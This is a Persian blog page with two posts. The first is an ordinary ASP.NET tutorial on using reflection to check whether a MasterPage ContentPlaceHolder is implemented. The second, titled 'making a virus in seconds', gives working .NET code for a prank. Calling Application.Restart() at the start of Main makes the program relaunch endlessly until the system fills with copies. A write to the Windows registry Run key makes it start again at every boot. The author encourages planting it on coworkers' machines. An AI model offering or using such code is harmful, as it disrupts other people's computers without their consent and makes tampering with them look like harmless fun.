بررسی وجود پیاده سازی محتویات MasterPage

25 10 2009

شاید در استفاده از MasterPage ها زمانی پیش آمده باشد که لازم شده وجود پیاده سازی یک ContentPlaceHolder را در صفحه خاص رو بررسی کنید. مثلا زمانی رو در نظر بگیرید که در صفحه خاصی نباید بلوک خلاصه محتویات صفحه یا لینکها نمایش داده شود و این کادر نیز در MasterPage پیاده سازی شده است.

پس روشی باید به کار گیرید که آن کادر در آن صفحه به خصوص نمایش داده نشود. متاسفانه در دات نت روشی برای این کار در نظر گرفته نشده است؛ لااقل هیچ متد عمومی برای این کار وجود ندارد.

خوشبختانه ویژگی داخلی و مخفی در کلاس MasterPage وجود دارد به نام ContentTemplates که لیستی از ContentPlaceHolder هست که توسط صفحه جاری پیاده سازی شده است. کاری که لازم است استفاده از قدرت Reflection دات نت هست تا به آن ویژگی دسترسی پیدا کنیم.

همراه با این باید ContentPlaceHolder برای وجود کنترل در داخلی خودش هم بررسی بشه. تابع زیر برای همین کار هست:

public static bool HasNonEmptyControls(ContentPlaceHolder cph)
{
    if (cph.Controls.Count == 0)
    {
        return false;
    }
    else if (cph.Controls.Count == 1)
    {
        LiteralControl c = cph.Controls[0] as LiteralControl;

        if (string.IsNullOrEmpty(c.Text) || IsWhiteSpace(c.Text))
            return false;
    }

    return true;
}

static bool IsWhiteSpace(string s)
{
    for (int i = 0; i < s.Length; i++)
        if (!char.IsWhiteSpace(s[i]))
            return false;

    return true;
}

در ادامه تابع اصلی منظور ما که وجود پیاده سازی از یک ContentPlaceHolder به خصوص رو بررسی خواهد کرد:

static readonly Type _masterType = typeof(MasterPage);
static readonly PropertyInfo _contentTemplatesProp = _masterType.GetProperty("ContentTemplates", BindingFlags.GetProperty | BindingFlags.NonPublic | BindingFlags.Instance);

public static bool HasContentPageContent(ContentPlaceHolder cph)
{
    IDictionary templates = null;
    MasterPage master = cph.Page.Master;

    while (templates == null && master != null)
    {
        templates = (IDictionary)_contentTemplatesProp.GetValue(master, null);
        master = master.Master;
    }

    if (templates == null)
        return false;

    bool isSpecified = false;

    foreach (string key in templates.Keys)
    {
        if (key == cph.ID)
        {
            isSpecified = true;

            break;
        }
    }

    return isSpecified;
}

همانطور که از کد مشخصه با بدست آوردن ویژگی ContentTemplates که یک لسیت دیکشنری است وجود ContentPlaceHolder مورد نظر رو بررسی می کنیم.

و سر انجام ترکیبی از این دو تابع جهت بدست آوردن نتیجه مطلوب:

public static bool HasContentOrControls(ContentPlaceHolder cph)
{
    return HasNonEmptyControls(cph) || HasContentPageContent(cph);
}

و تمام. به راحتی می توانید از این تابع استفاده کنید. مانند نمونه زیر:

<%if (HasContentOrControls(plhOptions)){ %>
<div id="options">
 <div>
 <h2>
 <asp:ContentPlaceHolder ID="plhOptionsTitle" runat="server" />
 </h2>
 <asp:ContentPlaceHolder ID="plhOptions" runat="server" />
 </div>
</div>
<%}%>

همانطور که در این مثال مشاهده می کنید، فقط در صورتی که plhOptions در صفحه پیاده سازی شده باشد کادر مربوط به آن همراه با محتویات بخش plhOptionsTitle نمایش داده خواهند شد.

منبع

خوش باشید.

Advertisements




ساخت ویروس در عرض چند ثانیه

22 09 2008
Virus

اول اینکه این ویروس نیست و تیتر رو برای جذابیت قضیه آبدار نوشتم. بعدشم از این روش فقط برای شوخی کردن با رفیق و رفقا استفاده کنید و انتشار اون تو جمع و اینترنت ممنوع؛ پس هیچ مسئولیتی در قبال استفاده نادرست از این روش بر عهده نمی گیرم!

فقط کافیه که یک خط کد زیر رو در جایی که می گم بنویسید تا برنامه به صورت پی در پی اجرا بشه و طرف مقابل کلافه بشه. در ضمن این کد فقط برای زبان های دات نتی یعنی C# و VB.NET و … کار می کنه.

برای انجام این کار در پروژه C# خودتون فایل Program.cs و در پروژه VB.NET خودتون فایل Program.vb رو باز کنید و در ابتدای تابع Main کد زیر رو بنویسید:

Application.Restart()

این کار رو می تونید رو سیستم همکارتون انجام بدین و منتظر بمونین که برنامه رو اجرا کنه. توصیه می کنم از این لحظه فیلم تهیه کنید و به سایت youtube هم اضافه کنید. 😈

راز این موضوع در تایع Application.Restart نهفته است. این تابع باعث ریستارت شدن برنامه میشه. به این صورت که یک برنامه موقت و کوچک در دایرکتوری temp در سیستم ایجاد میکنه و سپس برنامه اصلی رو می بنده، بعد از بسته شدن برنامه، فایل اجرایی ایجاد شده در temp برنامه ما رو دوباره اجرا می کنه و سپس پاک میشه. در کد بالا چون ما کد رو در ابتدای برنامه نوشتیم پس برنامه در همان ابتدای اجرا ریستارت خواهد شد و این روند ادامه خواهد داشت تا زمانی که سیستم پر از این برنامه خواهد شد.

برای اینکه از شر این مزاحم خلاص بشین ساده ترین راه ریستارت سیستم هست. اما این هم راه داره و اون این که برنامه رو تو ریجستری ویندوز بنویسید و هربار که سیستم بالا میاد برنامه هم بالا بیاد. با این کد:

Microsoft.Win32.Registry.SetValue(@»HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run»,»Hello»,System.Windows.Forms.Application.ExecutablePath)

این کد رو قبل از تابع Restart بنویسید و نتیجه رو مشاهده کنید. برای اینکه از شر این روش هم خلاص بشید، راه سادش رفتن در حالت Safe Mode و حذف کردن کلیدی که آدرسش در کد بالا هست.

در پایان بهتره که این کار رو تو اوقات فراغت و برای شوخی با همکاران یا دوستانتون انجام بدین. در ضمن این روش قبلا توسط من روی همکاران و توسط همکاران روی من امتحان شده و 100% جواب داده و موجب شاده و خنده بسیار شده است.

خوش باشین